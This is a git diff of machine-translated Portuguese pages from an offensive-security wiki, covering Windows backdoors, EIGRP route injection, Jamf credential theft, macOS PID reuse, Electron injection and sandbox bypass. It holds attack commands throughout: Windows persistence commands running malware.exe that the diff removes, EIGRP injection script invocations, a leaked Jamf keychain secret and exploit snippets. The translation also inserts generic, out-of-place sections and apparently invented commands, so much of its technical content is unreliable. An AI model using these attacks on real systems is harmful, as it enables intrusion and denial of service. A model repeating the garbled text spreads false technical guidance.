Translated ['backdoors/salseo.md', 'generic-methodologies-and-resources/

backdoors/salseo.md

@@ -45,39 +45,21 @@ O Windows é o sistema operacional mais utilizado no mundo, o que o torna um alv
 
 ### Backdoors
 
-#### Porta dos Fundos do Registro
+#### Backdoor de Registro
 
-O Registro do Windows é um banco de dados que armazena configurações e opções para o sistema operacional e para os aplicativos instalados. Uma técnica comum de backdoor é adicionar uma entrada ao Registro que execute um programa malicioso sempre que o sistema é iniciado.
+O registro do Windows é um banco de dados que armazena configurações e opções para o sistema operacional e para os programas instalados. Um backdoor pode ser adicionado ao registro para permitir que um invasor acesse o sistema sem ser detectado. Isso pode ser feito adicionando uma chave de registro que executa um comando ou script malicioso.
 
-Para adicionar uma entrada de Registro, use o comando `reg add` no prompt de comando. Por exemplo, o seguinte comando adiciona uma entrada de Registro que executa um programa chamado `malware.exe` sempre que o sistema é iniciado:
+#### Backdoor de Serviço
 
-```
-reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Malware" /t REG_SZ /d "C:\malware.exe" /f
-```
+Os serviços do Windows são programas que são executados em segundo plano e fornecem funcionalidades para o sistema operacional e para os programas instalados. Um backdoor pode ser adicionado como um serviço para permitir que um invasor acesse o sistema sem ser detectado. Isso pode ser feito criando um serviço que executa um comando ou script malicioso.
 
-#### Porta dos Fundos do Serviço
+#### Backdoor de Arquivo
 
-Os serviços do Windows são programas que são executados em segundo plano e fornecem funcionalidades para o sistema operacional e para os aplicativos instalados. Uma técnica comum de backdoor é criar um serviço que execute um programa malicioso sempre que o sistema é iniciado.
-
-Para criar um serviço, use o comando `sc create` no prompt de comando. Por exemplo, o seguinte comando cria um serviço chamado `MalwareService` que executa um programa chamado `malware.exe` sempre que o sistema é iniciado:
-
-```
-sc create MalwareService binPath= "C:\malware.exe" start= auto DisplayName= "Malware Service"
-```
-
-#### Porta dos Fundos do Agendador de Tarefas
-
-O Agendador de Tarefas do Windows é uma ferramenta que permite agendar a execução de programas em horários específicos ou em eventos específicos, como o início do sistema ou o login de um usuário. Uma técnica comum de backdoor é criar uma tarefa agendada que execute um programa malicioso sempre que o sistema é iniciado ou quando um usuário faz login.
-
-Para criar uma tarefa agendada, use o comando `schtasks.exe` no prompt de comando. Por exemplo, o seguinte comando cria uma tarefa agendada chamada `MalwareTask` que executa um programa chamado `malware.exe` sempre que o sistema é iniciado:
-
-```
-schtasks /create /tn "MalwareTask" /tr "C:\malware.exe" /sc onstart /ru SYSTEM
-```
+Um backdoor pode ser adicionado a um arquivo executável do Windows para permitir que um invasor acesse o sistema sem ser detectado. Isso pode ser feito injetando código malicioso no arquivo executável ou anexando um arquivo executável malicioso a um arquivo legítimo.
 
 ### Conclusão
 
-Existem muitas técnicas de backdoor que podem ser usadas em sistemas Windows. É importante que os administradores de sistemas estejam cientes dessas técnicas e tomem medidas para proteger seus sistemas contra elas.
+Existem várias técnicas de backdoor que podem ser usadas em sistemas Windows. É importante que os administradores de sistemas estejam cientes dessas técnicas e tomem medidas para proteger seus sistemas contra elas.
 ```
 EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
 EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
@@ -131,11 +113,11 @@ Abra o projeto SalseoLoader usando o Visual Studio.
 
 #### **Ferramentas** --> **Gerenciador de Pacotes NuGet** --> **Gerenciar Pacotes NuGet para a Solução...**
 
-![](<../.gitbook/assets/image (3) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (3) (1) (1) (1) (1).png>)
 
-#### **Procure pelo pacote DllExport (usando a guia Procurar) e pressione Instalar (e aceite o popup)**
+#### **Procure pelo pacote DllExport (usando a guia Procurar), e pressione Instalar (e aceite o popup)**
 
-![](<../.gitbook/assets/image (4) (1) (1) (1).png>)
+![](<../.gitbook/assets/image (4) (1) (1) (1) (1).png>)
 
 Na pasta do seu projeto aparecerão os arquivos: **DllExport.bat** e **DllExport\_Configure.bat**
 
@@ -143,7 +125,7 @@ Na pasta do seu projeto aparecerão os arquivos: **DllExport.bat** e **DllExport
 
 Pressione **Desinstalar** (sim, é estranho, mas confie em mim, é necessário)
 
-![](<../.gitbook/assets/image (5) (1) (1) (2).png>)
+![](<../.gitbook/assets/image (5) (1) (1) (2) (1).png>)
 
 ### **Saia do Visual Studio e execute DllExport\_configure**
 

generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md

@@ -33,12 +33,14 @@ Para isso, usarei o [**FRRouting**](https://frrouting.org/). Este é um software
 ~# nano /etc/frr/daemons
 eigrpd=yes
 ```
+<figure><img src="../../.gitbook/assets/image (15) (1).png" alt=""><figcaption></figcaption></figure>
+
 Depois disso, você precisa corrigir o arquivo **vtysh.conf** adicionando uma linha responsável por salvar a configuração em um único arquivo, para que as configurações de diferentes protocolos não sejam espalhadas em arquivos diferentes **(por exemplo, eigrpd.conf, staticd.conf).** Isso é configurável opcionalmente.
 ```
 ~# nano /etc/frr/vtysh.conf
 service integrated-vtysh-config
 ```
-A configuração do FRRouting está pronta. Agora é hora de executar o daemon FRR. E sim, precisamos habilitar o roteamento de tráfego. Por padrão, ele está desativado em distribuições Linux.
+A configuração do FRRouting está concluída. Agora é hora de executar o daemon FRR. E sim, precisamos habilitar o roteamento de tráfego. Por padrão, ele é desativado nas distribuições Linux.
 ```
 ~$ sudo systemctl start frr
 ~$ sudo sysctl -w net.ipv4.ip_forward=1
@@ -51,45 +53,33 @@ O comando **vtysh** nos levará ao painel de controle do roteador FRR.
 
 #### Introduction
 
-EIGRP (Enhanced Interior Gateway Routing Protocol) is a Cisco proprietary routing protocol that is widely used in enterprise networks. It is an advanced distance-vector routing protocol that uses Diffusing Update Algorithm (DUAL) to calculate the shortest path to a destination network. EIGRP is a classless routing protocol that supports variable-length subnet masks (VLSM) and route summarization.
+EIGRP (Enhanced Interior Gateway Routing Protocol) is a Cisco proprietary routing protocol that is widely used in enterprise networks. It is an advanced distance-vector routing protocol that uses bandwidth and delay as metrics for path selection. EIGRP is a classless routing protocol that supports VLSM (Variable Length Subnet Masking) and CIDR (Classless Inter-Domain Routing).
 
 #### EIGRP Protocol Overview
 
-EIGRP uses a hierarchical network design that consists of autonomous systems (AS) and areas. An AS is a collection of networks that are under a common administrative domain. An area is a logical grouping of networks within an AS. EIGRP routers within an AS exchange routing information using EIGRP packets. EIGRP packets are sent using multicast addresses and are authenticated using a shared secret key.
+EIGRP uses a Diffusing Update Algorithm (DUAL) to calculate the shortest path to a destination network. EIGRP routers exchange routing information with their neighbors using multicast packets. EIGRP routers maintain a topology table that contains information about all the networks in the topology, including the metric, the next hop, and the outgoing interface.
 
 #### EIGRP Attacks
 
-EIGRP is vulnerable to various attacks that can be used to disrupt network operations or to gain unauthorized access to network resources. The following are some of the common EIGRP attacks:
+EIGRP is vulnerable to several attacks that can be used to disrupt network operations or to gain unauthorized access to network resources. The following are some of the most common EIGRP attacks:
 
-- **EIGRP Neighbor Spoofing**: An attacker can spoof EIGRP packets to make it appear as if they are coming from a legitimate EIGRP neighbor. This can be used to inject false routing information into the network or to cause routing loops.
+- **EIGRP Neighbor Spoofing**: An attacker can spoof EIGRP packets to make a router believe that it has a neighbor that does not exist. This can be used to inject false routing information into the network or to cause a denial of service (DoS) attack.
 
-- **EIGRP Route Injection**: An attacker can inject false routing information into the network by sending EIGRP packets with fake route updates. This can be used to redirect traffic to a malicious destination or to cause denial of service (DoS) attacks.
+- **EIGRP Route Injection**: An attacker can inject false routing information into the network by sending EIGRP packets with a lower metric than the legitimate routes. This can be used to redirect traffic to a malicious destination or to cause a DoS attack.
 
-- **EIGRP Route Poisoning**: An attacker can send EIGRP packets with poisoned routes to make it appear as if a network is unreachable. This can be used to cause network outages or to redirect traffic to a malicious destination.
+- **EIGRP Route Poisoning**: An attacker can send EIGRP packets with an infinite metric to poison the routing tables of EIGRP routers. This can be used to cause a DoS attack or to redirect traffic to a malicious destination.
 
-- **EIGRP Authentication Bypass**: An attacker can bypass EIGRP authentication by sniffing the network for valid authentication keys or by using brute-force attacks to guess the key. This can be used to gain unauthorized access to network resources.
-
-#### EIGRP Countermeasures
-
-To mitigate EIGRP attacks, the following countermeasures can be implemented:
-
-- **EIGRP Authentication**: EIGRP authentication should be enabled to prevent unauthorized access to the network. EIGRP supports two types of authentication: plain text and MD5.
-
-- **EIGRP Packet Filtering**: EIGRP packets should be filtered to prevent spoofing and injection attacks. Access control lists (ACLs) can be used to filter EIGRP packets based on source and destination IP addresses.
-
-- **EIGRP Route Filtering**: EIGRP routes should be filtered to prevent route poisoning attacks. Route maps can be used to filter EIGRP routes based on various criteria such as source and destination IP addresses, AS numbers, and prefix lengths.
-
-- **EIGRP Stub Routing**: EIGRP stub routing can be used to prevent unauthorized access to the network. Stub routers are configured to only advertise their directly connected networks and do not participate in the EIGRP routing process.
+- **EIGRP Authentication Bypass**: EIGRP supports authentication to prevent unauthorized access to routing information. However, if authentication is not properly configured, an attacker can bypass it and gain access to sensitive information.
 
 #### Conclusion
 
-EIGRP is a widely used routing protocol that is vulnerable to various attacks. To secure EIGRP networks, it is important to implement appropriate countermeasures such as authentication, packet filtering, route filtering, and stub routing.
+EIGRP is a widely used routing protocol that is vulnerable to several attacks. It is important to properly configure EIGRP and to implement security measures to prevent unauthorized access to routing information.
 ```
 Inguz# show version
 ```
 <figure><img src="../../.gitbook/assets/image (3) (2) (2).png" alt=""><figcaption></figcaption></figure>
 
-> **No entanto, não se esqueça que o domínio de roteamento EIGRP pode ser protegido por autenticação. Mas ainda há uma chance de se conectar ao domínio de roteamento. Quando os pacotes hello são enviados, eles também contêm hashes criptográficos. Se você puder extrair esses hashes do dump de tráfego e redefinir a senha, poderá fazer login no domínio de roteamento com essa senha.**
+> **No entanto, não se esqueça de que o domínio de roteamento EIGRP pode ser protegido por autenticação. Mas ainda há uma chance de se conectar ao domínio de roteamento. Quando os pacotes hello são enviados, eles também contêm hashes criptográficos. Se você puder extrair esses hashes do dump de tráfego e redefinir a senha, poderá fazer login no domínio de roteamento com essa senha.**
 
 Vá para o modo de configuração global e inicie o processo **EIGRP**, especifique o número do sistema autônomo - **1**
 
@@ -139,7 +129,7 @@ Argumentos do script:
 
 ### Buraco Negro EIGRP <a href="#5c04" id="5c04"></a>
 
-A essência desse ataque é uma simples injeção de uma rota falsa que irá envenenar a tabela de roteamento. O tráfego para, digamos, a rede `10.10.100.0/24` não irá a lugar algum, causando uma negação de serviço. Tal ataque é chamado de Buraco Negro. O script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) será a ferramenta usada para realizá-lo. Para este exemplo, enviarei tráfego destinado ao host `172.16.100.140/32` para o buraco negro.
+A essência desse ataque é uma simples injeção de uma rota falsa que irá envenenar a tabela de roteamento. O tráfego para, digamos, a rede `10.10.100.0/24` não irá a lugar algum, causando uma negação de serviço. Esse tipo de ataque é chamado de Buraco Negro. O script [**routeinject.py**](https://github.com/in9uz/EIGRPWN/blob/main/routeinject.py) será a ferramenta usada para executá-lo. Para este exemplo, enviarei tráfego destinado ao host `172.16.100.140/32` para o buraco negro.
 
 <figure><img src="../../.gitbook/assets/image (16) (1).png" alt=""><figcaption></figcaption></figure>
 
@@ -153,7 +143,7 @@ Argumentos do script:
 ```
 ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
 ```
-<figure><img src="../../.gitbook/assets/image (20) (1) (2).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (20) (1).png" alt=""><figcaption></figcaption></figure>
 
 **Nosso host parece estar em apuros :)**
 
@@ -173,7 +163,7 @@ Argumentos do script:
 * **número AS EIGRP**
 * **Endereço IP do roteador legítimo**
 
-**Em nome do IP especificado, será enviada uma injeção no endereço IP EIGRP multicast, no qual os valores K são diferentes.** No meu caso, vou quebrar a vizinhança em nome do roteador GW1 **(o endereço é 10.10.100.100)**.
+**Em nome do IP especificado, será enviada uma injeção no endereço IP EIGRP multicast, no qual os valores K são diferentes.** No meu caso, vou quebrar a vizinhança em nome do roteador GW1 **(endereço é 10.10.100.100)**.
 ```
 ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
 ```

macos-hardening/macos-red-teaming/README.md

@@ -49,11 +49,11 @@ Você pode usar o script [**JamfSniper.py**](https://github.com/WithSecureLabs/J
 
 Além disso, depois de encontrar as credenciais adequadas, você pode ser capaz de fazer força bruta em outros nomes de usuário com o formulário a seguir:
 
-![](<../../.gitbook/assets/image (19).png>)
+![](<../../.gitbook/assets/image (13).png>)
 
 #### Autenticação de dispositivo JAMF
 
-<figure><img src="../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
 
 O binário **`jamf`** continha o segredo para abrir o keychain que, na época da descoberta, era **compartilhado** entre todos e era: **`jk23ucnq91jfu9aj`**.\
 Além disso, o jamf **persiste** como um **LaunchDaemon** em **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
@@ -98,7 +98,7 @@ Com essas informações, **crie uma VM** com o **UUID de hardware roubado** e co
 
 #### Roubo de segredos
 
-<figure><img src="../../.gitbook/assets/image (8).png" alt=""><figcaption><p>a</p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2).png" alt=""><figcaption><p>a</p></figcaption></figure>
 
 Você também pode monitorar a localização `/Library/Application Support/Jamf/tmp/` para os **scripts personalizados** que os administradores podem querer executar via Jamf, pois eles são **colocados aqui, executados e removidos**. Esses scripts **podem conter credenciais**.
 
@@ -193,7 +193,7 @@ O Red Teaming do MacOS é diferente do Red Teaming regular do Windows, pois gera
 
 Quando um arquivo é baixado no Safari, se for um arquivo "seguro", ele será **aberto automaticamente**. Então, por exemplo, se você **baixar um zip**, ele será descompactado automaticamente:
 
-<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
 
 ## Referências
 

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/macos-pid-reuse.md

@@ -20,18 +20,18 @@ Esta função fará com que o binário **permitido possua o PID**, mas a **mensa
 
 ### Exemplo de exploit
 
-Se você encontrar a função **`shouldAcceptNewConnection`** ou uma função chamada por ela **chamando** **`processIdentifier`** e não chamando **`auditToken`**. É altamente provável que esteja verificando o **PID do processo** e não o token de auditoria.\
+Se você encontrar a função **`shouldAcceptNewConnection`** ou uma função chamada por ela **chamando** **`processIdentifier`** e não chamando **`auditToken`**. É altamente provável que esteja verificando o PID do processo e não o token de auditoria.\
 Como por exemplo nesta imagem (tirada da referência):
 
-<figure><img src="../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../../.gitbook/assets/image (4) (1).png" alt=""><figcaption></figcaption></figure>
 
 Verifique este exemplo de exploit (novamente, retirado da referência) para ver as 2 partes do exploit:
 
 * Uma que **gera vários forks**
-* **Cada fork** irá **enviar** o **payload** para o serviço XPC enquanto executa **`posix_spawn`** logo após o envio da mensagem.
+* **Cada fork** irá **enviar** a **carga útil** para o serviço XPC enquanto executa **`posix_spawn`** logo após o envio da mensagem.
 
 {% hint style="danger" %}
-Para que o exploit funcione, é importante exportar OBJC\_DISABLE\_INITIALIZE\_FORK\_SAFETY=YES ou colocar no exploit:
+Para que o exploit funcione, é importante exportar OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES ou colocar no exploit:
 ```objectivec
 asm(".section __DATA,__objc_fork_ok\n"
 "empty:\n"
@@ -155,6 +155,6 @@ int main(int argc, const char * argv[]) {
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md

@@ -22,7 +22,7 @@ Obviamente, isso é tão poderoso que é complicado carregar uma extensão de ke
 
 * Ao entrar no **modo de recuperação**, as extensões de kernel precisam ser **autorizadas a serem carregadas**:
 
-<figure><img src="../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 * A extensão de kernel deve ser **assinada com um certificado de assinatura de código do kernel**, que só pode ser concedido pela **Apple**. Que irá **revisar** detalhadamente a **empresa** e as **razões** pelas quais isso é necessário.
 * A extensão de kernel também precisa ser **notarizada**, a Apple poderá verificá-la em busca de malware.
@@ -34,9 +34,9 @@ Obviamente, isso é tão poderoso que é complicado carregar uma extensão de ke
 De volta ao Catalina, era assim: É interessante notar que o processo de **verificação** ocorre em **userland**. No entanto, apenas aplicativos com a permissão **`com.apple.private.security.kext-management`** podem **solicitar ao kernel** para **carregar uma extensão:** kextcache, kextload, kextutil, kextd, syspolicyd
 
 1. **`kextutil`** cli **inicia** o processo de verificação para carregar uma extensão
-   * Ele falará com **`kextd`** enviando usando um serviço Mach
+   * Ele irá se comunicar com **`kextd`** enviando usando um serviço Mach
 2. **`kextd`** verificará várias coisas, como a assinatura
-   * Ele falará com **`syspolicyd`** para verificar se a extensão pode ser carregada
+   * Ele irá se comunicar com **`syspolicyd`** para verificar se a extensão pode ser carregada
 3. **`syspolicyd`** **pergunta** ao **usuário** se a extensão não foi carregada anteriormente
    * **`syspolicyd`** indicará o resultado para **`kextd`**
 4. **`kextd`** finalmente poderá indicar ao **kernel para carregar a extensão**

macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-system-extensions.md

@@ -4,7 +4,7 @@
 
 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
-* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
 * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@@ -16,7 +16,7 @@
 
 Ao contrário das Extensões do Kernel, as **Extensões do Sistema são executadas no espaço do usuário** em vez do espaço do kernel, reduzindo o risco de falha do sistema devido a mau funcionamento da extensão.
 
-<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
 
 Existem três tipos de extensões do sistema: Extensões do DriverKit, Extensões de Rede e Extensões de Segurança de Endpoint.
 
@@ -31,7 +31,7 @@ As Extensões de Rede fornecem a capacidade de personalizar os comportamentos de
 * **Proxy de Aplicativo**: Isso é usado para criar um cliente VPN que implementa um protocolo VPN personalizado orientado a fluxo. Isso significa que ele lida com o tráfego de rede com base em conexões (ou fluxos) em vez de pacotes individuais.
 * **Túnel de Pacote**: Isso é usado para criar um cliente VPN que implementa um protocolo VPN personalizado orientado a pacote. Isso significa que ele lida com o tráfego de rede com base em pacotes individuais.
 * **Filtro de Dados**: Isso é usado para filtrar "fluxos" de rede. Ele pode monitorar ou modificar dados de rede no nível do fluxo.
-* **Filtro de Pacote**: Isso é usado para filtrar pacotes de rede individuais. Ele pode monitorar ou modificar dados de rede no nível do pacote.
+* **Filtro de Pacotes**: Isso é usado para filtrar pacotes de rede individuais. Ele pode monitorar ou modificar dados de rede no nível do pacote.
 * **Proxy DNS**: Isso é usado para criar um provedor DNS personalizado. Ele pode ser usado para monitorar ou modificar solicitações e respostas DNS.
 
 ## Framework de Segurança de Endpoint
@@ -56,7 +56,7 @@ Os eventos que o framework Endpoint Security pode monitorar são categorizados e
 
 ### Arquitetura do Framework de Segurança de Endpoint
 
-<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
 
 A **comunicação do espaço do usuário** com o framework Endpoint Security ocorre por meio da classe IOUserClient. Duas subclasses diferentes são usadas, dependendo do tipo de chamador:
 

macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md

@@ -1,6 +1,6 @@
 # Binários universais do macOS e Formato Mach-O
 
-As binários do Mac OS geralmente são compilados como **binários universais**. Um **binário universal** pode **suportar várias arquiteturas no mesmo arquivo**.
+Os binários do Mac OS geralmente são compilados como **binários universais**. Um **binário universal** pode **suportar várias arquiteturas no mesmo arquivo**.
 
 Esses binários seguem a **estrutura Mach-O** que é basicamente composta por:
 
@@ -62,7 +62,7 @@ fat_magic FAT_MAGIC
 
 ou usando a ferramenta [Mach-O View](https://sourceforge.net/projects/machoview/):
 
-<figure><img src="../../../.gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Como você pode estar pensando, geralmente um binário universal compilado para 2 arquiteturas **dobra o tamanho** de um compilado para apenas 1 arquitetura.
 
@@ -177,11 +177,11 @@ struct section_64 { /* for 64-bit architectures */
 ```
 Exemplo de **cabeçalho de seção**:
 
-<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
 
 Se você **adicionar** o **deslocamento da seção** (0x37DC) + o **deslocamento** onde o **arquitetura começa**, neste caso `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
 
-<figure><img src="../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Também é possível obter **informações de cabeçalho** a partir da **linha de comando** com:
 ```bash
@@ -200,12 +200,12 @@ Segmentos comuns carregados por este cmd:
   * `__data`: Variáveis globais (que foram inicializadas)
   * `__bss`: Variáveis estáticas (que não foram inicializadas)
   * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, etc): Informações usadas pelo tempo de execução do Objective-C
-* **`__LINKEDIT`**: Contém informações para o linker (dyld) como, "símbolo, string e entradas de tabela de realocação".
-* **`__OBJC`**: Contém informações usadas pelo tempo de execução do Objective-C. Embora essas informações também possam ser encontradas no segmento \_\_DATA, dentro de várias seções em \_\_objc\_\*.
+* **`__LINKEDIT`**: Contém informações para o linker (dyld) como, "símbolo, string e entradas de tabela de realocação."
+* **`__OBJC`**: Contém informações usadas pelo tempo de execução do Objective-C. Embora essas informações também possam ser encontradas no segmento \_\_DATA, dentro de várias seções \_\_objc\_\*.
 
 ### **`LC_MAIN`**
 
-Contém o ponto de entrada no atributo **entryoff**. No momento do carregamento, o **dyld** simplesmente **adiciona** esse valor à **base do binário na memória**, então **salta** para esta instrução para iniciar a execução do código binário.
+Contém o ponto de entrada no atributo **entryoff.** No momento do carregamento, **dyld** simplesmente **adiciona** esse valor à **base do binário na memória**, então **salta** para esta instrução para iniciar a execução do código binário.
 
 ### **LC\_CODE\_SIGNATURE**
 
@@ -266,7 +266,7 @@ Os dados são basicamente a parte que contém todas as informações carregadas
 Isso inclui:
 
 * **Tabela de funções:** que contém informações sobre as funções do programa.
-* **Tabela de símbolos**: que contém informações sobre as funções externas usadas pelo binário
+* **Tabela de símbolos**: que contém informações sobre as funções externas usadas pelo binário.
 * Também pode conter nomes de funções internas, variáveis e muito mais.
 
 Para verificar, você pode usar a ferramenta [**Mach-O View**](https://sourceforge.net/projects/machoview/):

macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md

@@ -18,15 +18,15 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
 {% endcode %}
 
 {% hint style="danger" %}
-Observe que agora as aplicações Electron **fortalecidas** ignorarão os parâmetros do node (como --inspect) quando iniciadas, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** seja definida.
+Observe que agora as aplicações Electron **fortalecidas** com **RunAsNode** desativado irão **ignorar os parâmetros do node** (como --inspect) quando iniciadas, a menos que a variável de ambiente **`ELECTRON_RUN_AS_NODE`** seja definida.
 
-No entanto, ainda é possível usar o parâmetro electron `--remote-debugging-port=9229`, mas a carga útil anterior não funcionará para executar outros processos.
+No entanto, ainda é possível usar o parâmetro do electron `--remote-debugging-port=9229`, mas a carga útil anterior não funcionará para executar outros processos.
 {% endhint %}
 
 ## `NODE_OPTIONS`
 
 {% hint style="warning" %}
-Esta variável de ambiente só funcionará se a aplicação Electron não tiver sido devidamente fortalecida e estiver permitindo isso. Se fortalecida, você também precisará usar a **variável de ambiente `ELECTRON_RUN_AS_NODE`**.
+Essa variável de ambiente só funcionará se a aplicação Electron não tiver sido adequadamente fortalecida e estiver permitindo isso. Se fortalecida, você também precisará usar a **variável de ambiente `ELECTRON_RUN_AS_NODE`**.
 {% endhint %}
 
 Com essa combinação, você pode armazenar a carga útil em um arquivo diferente e executar esse arquivo:

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md

@@ -14,7 +14,7 @@
 
 ## Processo de carregamento do Sandbox
 
-<figure><img src="../../../../../.gitbook/assets/image (2).png" alt=""><figcaption><p>Imagem de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
+<figure><img src="../../../../../.gitbook/assets/image (2) (1).png" alt=""><figcaption><p>Imagem de <a href="http://newosxbook.com/files/HITSB.pdf">http://newosxbook.com/files/HITSB.pdf</a></p></figcaption></figure>
 
 Na imagem anterior, é possível observar **como o sandbox será carregado** quando um aplicativo com a permissão **`com.apple.security.app-sandbox`** é executado.
 
@@ -47,44 +47,42 @@ int main() {
 ```
 {% endtab %}
 
-{% tab title="entitlements.xml" %}
+{% tab title="README.md" %}
+# Depuração e Bypass do Sandbox do macOS
 
-# Depuração e bypass do sandbox do macOS
+O macOS Sandbox é um mecanismo de segurança que restringe o acesso de um aplicativo a recursos do sistema, como arquivos, diretórios, processos e portas de rede. O Sandbox é implementado usando perfis de sandbox, que são arquivos XML que especificam as restrições impostas a um aplicativo.
 
-O sandbox do macOS é uma tecnologia de segurança que limita o acesso de um aplicativo a recursos do sistema, como arquivos, pastas e processos. Isso ajuda a prevenir ataques maliciosos e a proteger a privacidade do usuário. No entanto, em alguns casos, pode ser necessário depurar ou contornar o sandbox para fins de teste ou desenvolvimento.
+Embora o Sandbox seja uma camada adicional de segurança, ele não é infalível e pode ser contornado por um invasor experiente. Nesta seção, discutiremos algumas técnicas de depuração e bypass do Sandbox do macOS.
 
-Este diretório contém exemplos de como depurar e contornar o sandbox do macOS. Os exemplos incluem:
+## Depuração do Sandbox
 
-- **debug_entitlements.xml**: um arquivo de entitlements que permite a depuração de um aplicativo sandboxed.
-- **bypass_entitlements.xml**: um arquivo de entitlements que permite que um aplicativo sandboxed acesse recursos do sistema que normalmente seriam restritos pelo sandbox.
+A depuração do Sandbox envolve a análise do perfil do Sandbox de um aplicativo para identificar as restrições impostas a ele. Isso pode ser feito usando a ferramenta `sandbox-simplify`, que simplifica um perfil de Sandbox removendo as regras redundantes e irrelevantes.
 
-## Uso
+Para usar o `sandbox-simplify`, execute o seguinte comando:
 
-Para usar esses exemplos, você precisará ter um aplicativo sandboxed que deseja depurar ou contornar. Você também precisará ter acesso ao arquivo de entitlements do aplicativo.
-
-Para depurar o aplicativo, adicione o seguinte código ao arquivo de entitlements:
-
-```xml
-<key>com.apple.security.get-task-allow</key>
-<true/>
+```bash
+sandbox-simplify /Applications/Calculator.app/Contents/Resources/Calculator.sb > simplified.sb
 ```
 
